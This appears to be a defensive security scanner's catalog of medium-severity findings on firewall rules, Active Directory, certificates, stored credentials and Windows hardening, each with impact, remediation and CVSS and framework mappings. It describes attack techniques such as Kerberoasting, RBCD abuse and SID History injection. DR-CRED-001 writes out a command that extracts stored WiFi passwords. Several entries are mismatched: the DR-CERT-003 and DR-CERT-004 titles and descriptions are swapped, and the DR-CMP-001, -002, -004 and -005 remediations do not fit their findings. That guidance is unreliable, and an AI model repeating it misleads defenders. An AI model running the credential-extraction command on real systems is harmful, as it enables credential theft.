MEDIUM BA-038 — IPv6 Traffic Not Addressed in Policy
Description: The firewall configuration does not include explicit IPv6 policy rules. If IPv6 is enabled on interfaces, traffic may be uncontrolled.
Impact: Unmanaged IPv6 traffic may bypass IPv4 security controls. Dual-stack hosts may be reachable via IPv6 paths that are not covered by the IPv4 firewall policy.
Remediation: 1. Audit all interfaces for IPv6 enablement. 2. If IPv6 is not required, disable it on all interfaces. 3. If IPv6 is used, implement a full dual-stack firewall policy mirroring IPv4 controls. 4. Block IPv6 tunnelling protocols (6to4, Teredo, ISATAP) at the perimeter.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-039 — GRE/IPSec Tunnels Permitted Without Authentication Requirement
Description: GRE (protocol 47) or IPSec (ESP/AH, protocols 50/51) tunnelling is permitted without authentication requirements enforced at the firewall level.
Impact: Unauthenticated GRE tunnels can be used to encapsulate and hide malicious traffic, bypassing application-layer inspection. GRE provides no confidentiality or integrity.
Remediation: 1. Replace GRE with authenticated IPSec tunnels. 2. Implement IKEv2 with strong authentication for all VPN tunnels. 3. If GRE is required, encapsulate in IPSec. 4. Implement strict source/destination restrictions on tunnel endpoints.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-8
MEDIUM BA-041 — Outbound SMTP Not Restricted to Mail Relay
Description: Outbound SMTP (TCP 25) is permitted from internal networks to any external destination, allowing any internal host to send email directly to external mail servers.
Impact: Unrestricted outbound SMTP enables malware to send spam, phishing emails, and data exfiltration via email from any compromised internal host. This also contributes to IP reputation damage.
Remediation: 1. Block outbound TCP 25 from all hosts except designated mail relays. 2. Route all outbound SMTP through a controlled mail relay/gateway. 3. Implement outbound email filtering and DMARC/SPF/DKIM. 4. Monitor for anomalous outbound email volumes.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-042 — TLS/SSL Bypass or Inspection Not Configured
Description: Encrypted traffic (HTTPS/TLS) is permitted through the firewall without any indication of SSL/TLS inspection being configured. Malware and data exfiltration commonly use HTTPS to evade detection.
Impact: Encrypted traffic bypasses all application-layer inspection. Malware C2 communications, data exfiltration, and phishing content cannot be inspected or blocked.
Remediation: 1. Implement SSL/TLS inspection where technically and legally feasible. 2. At minimum, block HTTPS to known malicious categories via DNS. 3. Implement certificate pinning bypass detection. 4. Consider decryption zones for high-risk traffic categories.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:N/A:N
NIST 800-53: SC-7
MEDIUM BA-043 — VoIP SIP Permitted Without Restriction
Description: SIP (Session Initiation Protocol, UDP/TCP 5060/5061) is permitted from untrusted sources without source restriction. SIP is commonly targeted for toll fraud and eavesdropping.
Impact: Exposed SIP enables toll fraud (attackers route expensive calls through your infrastructure), eavesdropping on VoIP calls, and SIP scanning for credential harvesting.
Remediation: 1. Restrict SIP to SIP trunk provider IP ranges only. 2. Implement SIP-aware firewall inspection. 3. Deploy a Session Border Controller (SBC). 4. Enable SIP authentication and registration rate limiting.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: SC-7
MEDIUM BA-046 — RDP Permitted on Non-Standard Ports
Description: Remote Desktop Protocol is permitted on non-standard ports (not 3389), suggesting an attempt to obscure RDP exposure. Security by obscurity does not reduce the actual risk.
Impact: RDP running on non-standard ports is discovered by modern port scanners within minutes. The underlying RDP vulnerabilities and risks remain identical regardless of port number.
Remediation: 1. Treat RDP on non-standard ports with the same urgency as standard-port RDP. 2. Implement proper access controls (VPN, specific source IPs) rather than port obfuscation. 3. Consider replacing RDP with a zero-trust remote access solution.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
MEDIUM BA-049 — Cato: No Identity-Based Policy — All Rules Use IP/Network Only
Description: All firewall rules use IP addresses or network objects with no user or group identity conditions, missing the zero-trust identity layer.
Impact: Any device with a matching IP can traverse permitted paths regardless of user identity, reducing the effectiveness of the SASE model.
Remediation: Migrate rules to identity-based policies using Cato's user/group identity conditions where possible.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: AC-17
MEDIUM BA-051 — Cloudflare Gateway: DNS Security Policy Not Configured
Description: No DNS security policies are present. Malicious domain blocking, DoH restrictions, and DNS-based threat intelligence are disabled.
Impact: Users can resolve malicious domains, access phishing sites, and malware can use any DNS server for C2 communication.
Remediation: Enable Cloudflare Gateway DNS filtering. Add policies to block known malware, phishing, and C2 categories.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:M/I:M/A:N
NIST 800-53: SI-3
MEDIUM BA-055 — Executive Env: AV/Conferencing Ports Exposed Internally Without Restriction
Description: Audio/visual and conferencing equipment ports (Crestron, AMX, Extron, Zoom Rooms hardware) are reachable from all internal segments. These devices are rarely patched and frequently have default credentials.
Impact: AV equipment in executive boardrooms and conference rooms can be compromised via network access, enabling audio/video eavesdropping on confidential meetings.
Remediation: 1. Place AV equipment on a dedicated AV VLAN. 2. Restrict access to AV management ports to AV management workstations only. 3. Block Crestron (41794/41796), Extron (23/80), AMX (1319) from general users. 4. Enable logging on all rules touching the AV segment.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: CM-7
MEDIUM BA-059 — Firewall Rule Permits Traffic to Suspected Malicious IP ({ip})
Description: A firewall rule permits traffic with a source or destination address flagged as SUSPECTED malicious by threat-intelligence sources. The IP has been observed in attack activity, scanning, or brute-force attempts but is not yet confirmed as malicious.
Impact: This rule allows traffic to/from an IP reported as suspicious by multiple threat-intelligence sources. While not confirmed malicious, the IP has been observed in attack activity, scanning, or brute-force attempts. Permitting traffic increases exposure to potential threats.
Remediation: 1. Review whether traffic to/from the IP is expected and business-justified. 2. If not, add a deny rule above the permit. 3. Monitor traffic to/from the IP for anomalous patterns. 4. Subscribe to threat-intel updates for the IP.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SC-7
MEDIUM DR-AD-001 — Active Directory: Kerberoastable Accounts
Description: {...} user account(s) have Service Principal Names (SPNs) set, making them vulnerable to Kerberoasting attacks. An attacker with any domain user credential can request TGS tickets for these accounts and crack them offline.
Impact: Kerberoasting allows any authenticated domain user to request service tickets for SPN-bearing accounts and attempt offline password cracking. If the account password is weak, the attacker obtains the cleartext credential. Privileged service accounts (e.g., SQL service accounts in Domain Admins) are especially high-value targets.
Remediation: Set strong, complex passwords (25+ characters) on all accounts with SPNs. Migrate service accounts to Group Managed Service Accounts (gMSA) which rotate passwords automatically. Remove unnecessary SPNs. Monitor for anomalous TGS-REQ activity (Event ID 4769).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.1, 8.3.6
MEDIUM DR-AD-005 — Active Directory: LDAP Signing Not Enforced
Description: LDAP signing is set to '{...}' instead of 'Require signing'. This allows LDAP traffic to be transmitted unsigned, enabling man-in-the-middle attacks.
Impact: Without enforced LDAP signing, an attacker can perform LDAP relay attacks, intercepting and modifying LDAP queries and responses. This can be used to escalate privileges, modify group memberships, or reset passwords via LDAP relay combined with NTLM relay techniques (e.g., ntlmrelayx).
Remediation: Set 'Domain controller: LDAP server signing requirements' to 'Require signing' via Group Policy. Also enable LDAP channel binding. Test thoroughly before enforcement as it may break legacy applications using simple LDAP binds.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1, 4.2.2
MEDIUM DR-AD-006 — Authentication: Kerberos DES Encryption Enabled
Description: The domain supports weak Kerberos encryption types: {...}. DES and RC4 are cryptographically broken and should not be used for Kerberos authentication.
Impact: DES-encrypted Kerberos tickets can be cracked trivially. RC4-HMAC (NTLM-based) is vulnerable to Kerberoasting offline cracking and overpass-the-hash attacks. Allowing weak encryption types downgrades the security of the entire Kerberos infrastructure.
Remediation: Disable DES and RC4 encryption types in the domain. Set msDS-SupportedEncryptionTypes to support only AES128 (0x08) and AES256 (0x10). Test thoroughly — legacy systems (especially pre-2008 R2) may require RC4. Migrate legacy systems before disabling.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1558 (Credential Access)
NIST 800-53: SC-12, SC-13
PCI DSS 4: 2.2.7, 4.2.1
MEDIUM DR-AD-008 — Active Directory: RBCD Configured
Description: {...} account(s) have Resource-Based Constrained Delegation configured (msDS-AllowedToActOnBehalfOfOtherIdentity). RBCD allows specified principals to impersonate users to the target service.
Impact: RBCD is a common privilege escalation vector. If an attacker can write to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a target (via WRITE permission on the computer object), they can configure RBCD to impersonate any user (including Domain Admin) to that target's services. This is the basis of the RBCD/S4U2Self/S4U2Proxy attack chain.
Remediation: Review all RBCD configurations for legitimacy. Ensure that only authorized principals have WRITE access to computer objects' msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Monitor changes to this attribute via Event ID 5136. Remove unnecessary RBCD configurations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1558 (Credential Access), T1134.001 (Privilege Escalation)
NIST 800-53: AC-6, AC-17
PCI DSS 4: 7.1.1, 7.2.1
MEDIUM DR-AD-009 — Active Directory: Domain Functional Level Outdated
Description: The Active Directory domain or forest functional level is below the current recommended level for the installed domain controller OS version. Outdated functional levels prevent the use of modern security features such as Protected Users group, Authentication Policies, and Kerberos armoring.
Impact: Outdated functional levels prevent the use of modern Active Directory security features including: Protected Users group (2012 R2+), Authentication Policies and Silos (2012 R2+), gMSA improvements, Kerberos armoring (FAST), and AES-only Kerberos enforcement. Older levels also correspond to operating systems that may be end-of-life.
Remediation: Raise the domain and forest functional levels after ensuring all Domain Controllers are running a supported Windows Server version. This is a one-way operation — test in a lab environment first. Target at minimum Windows Server 2016 functional level.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
NIST 800-53: SA-22, CM-6
PCI DSS 4: 6.3.2, 2.2.1
MEDIUM DR-AD-012 — Active Directory: krbtgt Key Not Rotated
Description: The krbtgt account password has not been changed in an extended period (typically 180+ days). The krbtgt account is used to encrypt all Kerberos Ticket Granting Tickets (TGTs) in the domain. If its key material is compromised, an attacker can forge Golden Tickets.
Impact: A compromised krbtgt key enables Golden Ticket attacks, granting the attacker unrestricted access to any resource in the domain for the lifetime of the key. Kerberos maintains two most-recent krbtgt key versions — rotating the password invalidates the oldest one. Microsoft recommends rotating the krbtgt password at least every 180 days, and immediately after any suspected domain compromise.
Remediation: Rotate the krbtgt password using the Microsoft krbtgt reset script or manually via PowerShell (Reset-KrbtgtPassword). IMPORTANT: The krbtgt password must be reset TWICE (with a sufficient interval between resets, at least equal to the maximum ticket lifetime — typically 10 hours) to invalidate all existing TGTs. Schedule regular rotation every 180 days. After a suspected compromise, reset immediately (twice).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.001 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 8.3.5, 8.3.9
CISA KEV
MEDIUM DR-AD-014 — Active Directory: SID History Abuse Risk
Description: User or group accounts with non-empty SID History attributes were found. SID History is a legitimate migration feature that preserves access to resources in a source domain after migration. However, SID History can be abused to inject arbitrary SIDs (including Domain Admins) into a user's token.
Impact: An attacker who can modify the SID History attribute can inject the SID of a privileged group (e.g., Domain Admins, Enterprise Admins) into their own or another account's SID History. The injected SID is included in the user's Kerberos tickets and PAC, granting access to all resources the injected SID has permission to. This is a stealthy persistence technique because the user's group memberships appear normal.
Remediation: Audit all accounts with SID History: Get-ADUser -Filter 'SIDHistory -like "*"' -Properties SIDHistory | Select Name,SIDHistory. Remove SID History entries after domain migration is complete and verified: Set-ADUser -Identity <user> -Remove @{SIDHistory=<SID>}. Enable SID filtering on all trusts to prevent cross-domain SID History abuse. Monitor Event ID 4765 (SID History added) and Event ID 4766 (SID History add attempt failed).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1134.005 (Defense Evasion)
NIST 800-53: AC-6, AU-6, SI-4
PCI DSS 4: 7.1.1, 10.6.1
MEDIUM DR-BRW-002 — Browser: Proxy Configured ({browser})
Description: A browser-level proxy configuration was detected, separate from system proxy settings. This proxy intercepts all browser traffic and may route it through an unintended intermediary.
Impact: A browser-level proxy can intercept all HTTP/HTTPS traffic from the browser, including login credentials, session tokens, and sensitive data. Browser-level proxies may bypass system proxy settings, making them harder to detect. If the proxy is malicious, it enables credential theft and traffic manipulation.
Remediation: Verify the proxy configuration is authorized and expected. Compare with system proxy settings. If a browser-specific proxy is not required, remove it. Investigate whether malware or a malicious extension configured the proxy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: CM-11, SI-3
PCI DSS 4: 6.3.2
MEDIUM DR-BRW-003 — Browser: Suspicious Bookmark Detected ({browser})
Description: One or more browser bookmarks link to domains or IPs associated with known malicious infrastructure in the threat intelligence database.
Impact: Bookmarks to malicious domains may indicate the user regularly visits compromised or phishing sites. This could be a watering hole attack vector, a phishing landing page saved by a targeted user, or a bookmark planted by malware for persistence or redirection.
Remediation: Investigate each suspicious bookmark. Check if the user intentionally saved it or if it was created by malware. Review browser history for visits to the bookmarked URLs. Remove the bookmarks and block the domains at the DNS/proxy level. Scan the system for malware.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-3, SC-7
PCI DSS 4: 6.3.3
MEDIUM DR-CERT-001 — Certificate: Expired Certificate
Description: One or more certificates in the local machine or current user certificate store have expired.
Impact: Expired certificates cause service disruptions, authentication failures, and trust warnings. They may also indicate neglected systems or processes. Expired certificates used for code signing or SSL/TLS expose users to man-in-the-middle and substitution attacks.
Remediation: Renew or replace all expired certificates. Remove expired certificates that are no longer needed. Implement certificate lifecycle management with automated renewal alerts at 30, 14, and 7 days before expiry.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-002 — Certificate: Expiring Soon
Description: One or more certificates will expire within the next 30 days.
Impact: Certificates expiring soon risk service disruptions if not renewed in time. SSL/TLS certificate expiry causes browser warnings and connection failures. Authentication certificate expiry can lock out users.
Remediation: Renew expiring certificates before their expiry date. Use automated certificate management tools (ACME, internal CA auto-enrollment) where possible. Verify new certificates are properly installed and tested before the old ones expire.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-003 — Certificate: Self-Signed in Trust Store
Description: Certificates using deprecated signature algorithms (SHA1) or insufficient key lengths (RSA < 2048 bits) were detected.
Impact: SHA1 signatures are vulnerable to collision attacks, enabling certificate forgery. RSA keys shorter than 2048 bits can be factored with sufficient computational resources, compromising the certificate's security.
Remediation: Replace weak certificates with ones using SHA-256 or stronger signature algorithms and RSA 2048-bit or longer keys (or ECDSA P-256+). Update internal CA templates to enforce modern cryptographic standards.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1553.004 (Defense Evasion)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-004 — Certificate: Weak Signature Algorithm
Description: A self-signed certificate that is not from a well-known Certificate Authority was found in the Trusted Root Certification Authorities store.
Impact: Unknown root certificates in the trusted store could enable man-in-the-middle attacks by allowing an attacker's CA to issue trusted certificates for any domain. This could be from legitimate enterprise CA deployment or from malware installing rogue roots.
Remediation: Review all non-standard root certificates. Verify each against the organization's internal CA infrastructure. Remove any certificates that cannot be accounted for. If a rogue root is found, investigate how it was installed and treat the system as potentially compromised.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1553.004 (Defense Evasion)
NIST 800-53: SC-13
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-005 — Certificate: Weak Key Size
Description: A certificate using a key size shorter than 2048 bits was detected. Keys shorter than 2048 bits are considered weak and can be factored with modern computing resources, compromising all protections the certificate provides.
Impact: A weak key can be factored using distributed computing or cloud resources. 1024-bit RSA keys have been publicly factored, and NIST deprecated keys shorter than 2048 bits since 2013. An attacker who factors the key can forge signatures, decrypt traffic, and impersonate the certificate holder.
Remediation: Replace the certificate with one using at least a 2048-bit RSA key (3072-bit or 4096-bit recommended for long-lived certificates). For new deployments, consider ECDSA P-256 or P-384 keys which provide equivalent security at smaller sizes. Update the certificate on all services and endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-12, SC-13
PCI DSS 4: 4.2.1
MEDIUM DR-CMP-001 — Firewall: Profile Disabled
Description: One or more Windows Firewall profiles (Domain, Private, or Public) are disabled, leaving network traffic unfiltered for those network types.
Impact: With a firewall profile disabled, the system accepts all inbound connections on that network type, exposing services and ports that should be restricted. Attackers on the same network can directly reach services without firewall filtering.
Remediation: Develop a system hardening plan based on the CIS Benchmark for the specific Windows version. Prioritize Level 1 controls first as they have minimal operational impact. Implement changes through Group Policy for consistent deployment across endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.004 (Defense Evasion)
NIST 800-53: SC-7
PCI DSS 4: 1.4.1
MEDIUM DR-CMP-002 — Policy: Screen Lock Timeout Not Configured
Description: The screen lock timeout (ScreenSaverGracePeriod or equivalent) is not configured or is set to a value greater than 15 minutes, allowing unattended sessions to remain accessible.
Impact: Unattended workstations without automatic screen lock allow physical attackers to access active sessions with the authenticated user's full privileges, including domain credentials and cached tokens.
Remediation: Address the specific failing CIS controls, prioritizing those related to authentication, access control, and network security. Focus on Level 1 controls that have not been implemented. Use Group Policy to enforce configurations across the organization.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: AC-11
PCI DSS 4: 8.2.8
MEDIUM DR-CMP-004 — Network Hardening: IPv6 Transition Technologies
Description: IPv6 transition technologies (Teredo, ISATAP, 6to4) are enabled, creating encapsulated IPv6-over-IPv4 tunnels that may bypass network security controls.
Impact: IPv6 transition protocols can tunnel traffic past IPv4-only firewalls and IDS/IPS systems. Attackers can use these tunnels for covert command-and-control channels or to bypass network segmentation. Teredo in particular operates over UDP and can traverse NAT.
Remediation: Plan remediation of DISA STIG Category II findings within 90 days. Prioritize those related to authentication and access control. Apply STIG fixes via Group Policy where possible for consistent deployment.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1572 (Command and Control)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.1
MEDIUM DR-CMP-005 — Service Hardening: Remote Registry Enabled
Description: The Remote Registry service (RemoteRegistry) is enabled and/or running, allowing remote systems to read and modify the local Windows registry.
Impact: Remote Registry access enables attackers with valid credentials to remotely query and modify registry keys for reconnaissance, persistence, and configuration changes. Attackers can read stored credentials, enumerate installed software, and plant persistence mechanisms without interactive logon.
Remediation: Use the hardening score as a baseline measurement and track improvements over time. Prioritize remediation of findings that contribute most to the score deficit. Establish a target hardening score and implement a continuous improvement program.
Effort: Easy
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1012 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 11.3.1
MEDIUM DR-CRED-001 — Credential Exposure: WiFi Passwords in Cleartext
Description: Wireless network profiles on this system store passwords in cleartext. The 'netsh wlan show profiles key=clear' command can extract these credentials without elevated privileges on some Windows versions, or with local admin on others.
Impact: An attacker with local access can extract stored WiFi passwords for all previously connected networks. These credentials may grant access to corporate wireless networks, enabling lateral movement or unauthorized network access from outside the physical premises.
Remediation: Configure WiFi profiles to not store passwords locally where possible. Use 802.1X/EAP certificate-based authentication instead of PSK. For WPA2-Personal/WPA3-Personal networks, limit local admin access and implement endpoint detection for credential harvesting tools. Remove saved profiles for networks no longer in use.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.1, 8.3.2
MEDIUM DR-CRED-002 — Credential Exposure: Saved Remote Sessions
Description: Saved remote access session configurations were found on this system, potentially containing stored credentials. This includes PuTTY sessions (registry), WinSCP sessions (registry/ini), FileZilla sitemanager.xml entries, and/or saved .rdp files with password hashes.
Impact: Stored remote session credentials provide an attacker with ready-made access paths to other systems. PuTTY and WinSCP may store passwords in reversible formats, FileZilla historically stored passwords in base64 (trivially decoded), and .rdp files may contain password hashes. Compromising these sessions enables lateral movement to additional hosts.
Remediation: Remove saved credentials from remote access tools. Configure PuTTY and WinSCP to use SSH key authentication instead of passwords. Delete FileZilla sitemanager.xml entries that contain passwords. Remove .rdp files with embedded credentials. Use a secrets manager or enterprise password vault for remote access credentials.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, AC-3
PCI DSS 4: 8.3.1, 8.3.2, 8.6.3
MEDIUM DR-CRED-007 — Credential Exposure: DPAPI Master Key Accessible
Description: DPAPI (Data Protection API) master key material was found to be accessible on this system. DPAPI protects user credentials, browser passwords, WiFi keys, and other sensitive data. If an attacker can access the master key or derive it from the user's password, all DPAPI-protected secrets can be decrypted.
Impact: DPAPI is the underlying encryption mechanism for Windows Credential Manager, browser saved passwords (Chrome, Edge), WiFi passwords, and many application secrets. An attacker with access to the DPAPI master key (stored in %APPDATA%\Microsoft\Protect\) and knowledge of the user's password can decrypt all DPAPI-protected data, providing access to a wide range of stored credentials.
Remediation: Implement Credential Guard to protect DPAPI master keys with virtualization-based security. Enforce strong passwords to make DPAPI key derivation computationally expensive. Restrict local admin access to limit offline DPAPI attacks. Use hardware-backed credential storage (TPM, smart cards) for the most sensitive credentials.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.004 (Credential Access)
NIST 800-53: SC-28, SC-12, IA-5
PCI DSS 4: 3.5.1, 8.3.1
MEDIUM DR-CRED-009 — Credential Exposure: SSH Private Keys Found
Description: SSH private key files were found on this system. These keys may provide passwordless authentication to remote systems (Linux servers, network devices, cloud instances). Keys without passphrases are immediately usable by anyone who can read them.
Impact: SSH private keys provide direct authentication to remote systems without requiring a password. If a key has no passphrase (or a weak one), an attacker can immediately use it for lateral movement. Keys in authorized_keys on target systems often have broad permissions. A single compromised SSH key can provide access to many systems in the environment.
Remediation: Ensure all SSH private keys are protected with strong passphrases. Use ssh-agent for key caching rather than storing unprotected keys. Implement SSH certificate-based authentication for managed environments. Audit and rotate SSH keys regularly. Remove keys for systems no longer accessed. Consider hardware-backed keys (FIDO2/PIV).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-12, SC-28
PCI DSS 4: 8.3.1, 8.6.1
MEDIUM DR-EVT-002 — Event Log: Account Lockouts Detected
Description: Account lockout events (Event ID 4740) were detected in the security event log, indicating accounts are being locked due to repeated failed authentication. Lockouts may be caused by brute-force attacks, misconfigured services, or stale cached credentials.
Impact: Account lockouts from brute-force attempts confirm active credential attacks against the system. Service account lockouts can cause application outages and business disruption.
Remediation: Investigate the source of lockouts for each affected account. For user accounts, verify no credential compromise occurred. For service accounts, check for stale cached credentials in scheduled tasks, services, or mapped drives. Consider migrating to Group Managed Service Accounts (gMSA).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 10.2.1, 11.4.1
MEDIUM DR-EVT-005 — Event Log: New Service Installations
Description: New service installation events (Event ID 7045/4697) recorded in event logs. Service installations are a common persistence mechanism used by malware and attackers to maintain access that survives reboots.
Impact: Attackers install malicious services to maintain persistent access. Services run with elevated privileges and can be configured to start automatically, ensuring the attacker's code runs at every boot.
Remediation: Review each new service installation for legitimacy. Verify the service executable path, signing status, and the account used for installation. Remove unauthorized services and investigate how they were installed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1543.003 (Persistence)
NIST 800-53: SI-4, CM-3
PCI DSS 4: 10.2.1
MEDIUM DR-EVT-006 — Event Log: User Account Created
Description: User account creation events (Event ID 4720) detected in security event logs. Account creation outside of normal provisioning workflows may indicate persistence or unauthorized access by an attacker.
Impact: Attackers create local accounts to maintain persistent access. Unauthorized accounts may be added to privileged groups to escalate privileges and maintain a foothold on the compromised system.
Remediation: Verify each account creation was authorized through the proper provisioning workflow. Remove unauthorized accounts. Monitor for group membership changes (Event ID 4732) on newly created accounts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1136.001 (Persistence)
NIST 800-53: AC-2, SI-4
PCI DSS 4: 10.2.1
MEDIUM DR-HDN-002 — System Hardening: UAC Prompt Behavior Weak
Description: The UAC elevation prompt for administrators is configured to auto-elevate without prompting (ConsentPromptBehaviorAdmin is 0) or to prompt on a non-secure desktop.
Impact: Weak UAC prompt settings allow malware to silently elevate privileges through auto-elevation or intercept elevation prompts on the interactive desktop, enabling privilege escalation without user awareness.
Remediation: Configure ConsentPromptBehaviorAdmin to 2 (prompt for consent on the secure desktop) via Group Policy or registry. Also ensure PromptOnSecureDesktop is set to 1 to prevent interception of the elevation dialog by malicious software.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1548.002 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-003 — Network Hardening: SMBv1 Protocol Enabled
Description: The deprecated SMBv1 protocol is enabled on this endpoint, either as a server or client component.
Impact: SMBv1 has known critical vulnerabilities including EternalBlue (MS17-010) and lacks modern security features. It enables remote code execution, credential relay attacks, and was the primary propagation vector for WannaCry and NotPetya ransomware.
Remediation: Disable SMBv1 by running: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol. For Server: Remove-WindowsFeature FS-SMB1. Alternatively set HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 to 0. Verify no legacy applications or devices require SMBv1 before disabling.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
